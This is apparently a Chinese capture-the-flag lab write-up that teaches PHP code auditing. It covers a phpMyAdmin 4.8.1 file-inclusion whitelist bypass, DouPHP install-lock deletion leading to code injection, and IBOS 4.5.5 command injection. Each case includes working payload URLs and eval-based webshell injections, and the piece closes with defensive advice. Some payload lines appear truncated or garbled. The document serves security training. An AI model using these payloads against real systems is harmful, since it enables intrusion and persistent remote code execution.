[封神台]漏洞挖掘与代码审计 wp
字数 1666 2025-08-13 21:33:25
PHP漏洞挖掘与代码审计实战教学
一、本地文件包含漏洞审计
1. 漏洞环境
- 目标系统:phpMyAdmin 4.8.1
- 访问地址:http://wjbh522a.zs.aqlab.cn/
- 默认凭证:admin/admin
2. 漏洞分析
关键代码段
if (!empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& !preg_match('/^index/', $_REQUEST['target'])
&& !in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])) {
include $_REQUEST['target'];
exit;
}
绕过条件分析
- target参数不为空且为字符串
- 不以"index"开头
- 不在黑名单中(import.php, export.php)
- checkPageValidity()返回true
checkPageValidity方法分析
public static function checkPageValidity(&$page, array $whitelist = [], $include = false) {
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; // 使用默认白名单
}
// 检查1:直接在白名单中
if (in_array($page, $whitelist)) {
return true;
}
// 检查2:截取?前部分在白名单中
$_page = mb_substr($page, 0, mb_strpos($page, '?'));
if (in_array($_page, $whitelist)) {
return true;
}
// 检查3:URL解码后截取?前部分在白名单中
$_page = urldecode($page);
$_page = mb_substr($_page, 0, mb_strpos($_page, '?'));
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
绕过技巧
- 对问号进行二次URL编码:
%253f - 使用白名单文件(如db_datadict.php)作为前缀
3. 漏洞利用步骤
- 构造payload:
db_datadict.php%253f/路径/文件 - 包含日志文件(需先开启日志记录):
http://wjbh522a.zs.aqlab.cn/index.php?target=db_datadict.php%253f/phpStudy/MySQL/data/WIN-FOIHHTO5ZS1.log - 向日志写入PHP代码:
select "<?php eval($_REQUEST[1]);?>" - 执行任意代码:
http://wjbh522a.zs.aqlab.cn/index.php?target=db_datadict.php%253f/phpStudy/MySQL/data/WIN-FOIHHTO5ZS1.log&1=phpinfo(); - 写入Webshell:
http://wjbh522a.zs.aqlab.cn/index.php?target=db_datadict.php%253f/phpStudy/MySQL/data/WIN-FOIHHTO5ZS1.log&1=system('echo "<?php eval($_REQUEST[1]shell.php');
二、代码执行漏洞审计
1. 漏洞环境
- 目标系统:DouPHP v1.5 Release 20190711
- 访问地址:http://dm521zx.zs.aqlab.cn/
- 默认凭证:admin/123456
2. 漏洞分析
关键函数
eval()- 执行多行PHP代码assert()- 执行单行PHP代码preg_replace()- 使用/e修饰符时可执行代码- 双引号字符串执行 -
${phpinfo()}(PHP 5.5+)
利用思路
- 删除安装锁文件
/upload/data/install.lock - 通过重新安装过程写入恶意代码到config.php
关键代码
// 文件删除漏洞
$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");
@unlink(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);
3. 漏洞利用步骤
- 上传文件并抓包,修改路径进行目录穿越:
POST /admin/mobile.php mobile_logo=../../../data/install.lock - 删除install.lock后重新安装系统
- 在安装过程中向config.php写入恶意代码
三、命令执行漏洞审计
1. 漏洞环境
- 目标系统:IBOS 4.5.5 PRO
- 访问地址:http://59.63.200.79:9808/?r=user/default/login
- 默认凭证:admin/zkaqzkaq
2. 漏洞分析
关键函数
system()- 执行命令并输出结果exec()- 执行命令返回最后一行passthru()- 执行命令并输出结果shell_exec()- 执行命令返回全部输出
关键代码
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" {$db["dbname"]}\" $tablesstr > $dumpFile");
漏洞点
$dumpFile由用户控制的filename参数构造- 通过修改
method参数使条件判断为false进入else分支 - 文件名中的
/和.被过滤,需绕过
3. 漏洞利用步骤
- 构造恶意filename参数:
&filename=gylqtesaat;echo "<?php eval($_REQUEST[1]shell%pathext:~0,1%php;123- 利用环境变量
%pathext:~0,1%获取点号(.)
- 利用环境变量
- 执行后生成webshell:
shell.php - 使用蚁剑连接获取flag
四、审计技巧总结
1. 敏感函数定位
- 文件包含:
include,require,include_once,require_once - 代码执行:
eval,assert,preg_replace(/e),create_function - 命令执行:
system,exec,passthru,shell_exec,popen
2. 常见绕过技巧
- 路径遍历:
../、编码绕过 - 黑名单绕过:大小写、双重编码、特殊字符
- 白名单绕过:参数污染、截断技巧
- 过滤绕过:利用环境变量、字符串拼接
3. 漏洞利用链构造
- 信息收集:版本识别、默认凭证
- 入口点定位:参数可控点、文件上传点
- 权限提升:从文件操作到代码执行
- 持久化:写入webshell、修改配置文件
五、防御建议
-
文件包含:
- 禁用动态包含
- 严格限制包含路径
- 使用白名单验证
-
代码执行:
- 禁用危险函数
- 对用户输入严格过滤
- 使用安全的反序列化方法
-
命令执行:
- 避免直接拼接用户输入
- 使用escapeshellarg()过滤
- 限制命令执行权限
-
通用防御:
- 及时更新补丁
- 最小权限原则
- 输入验证和输出编码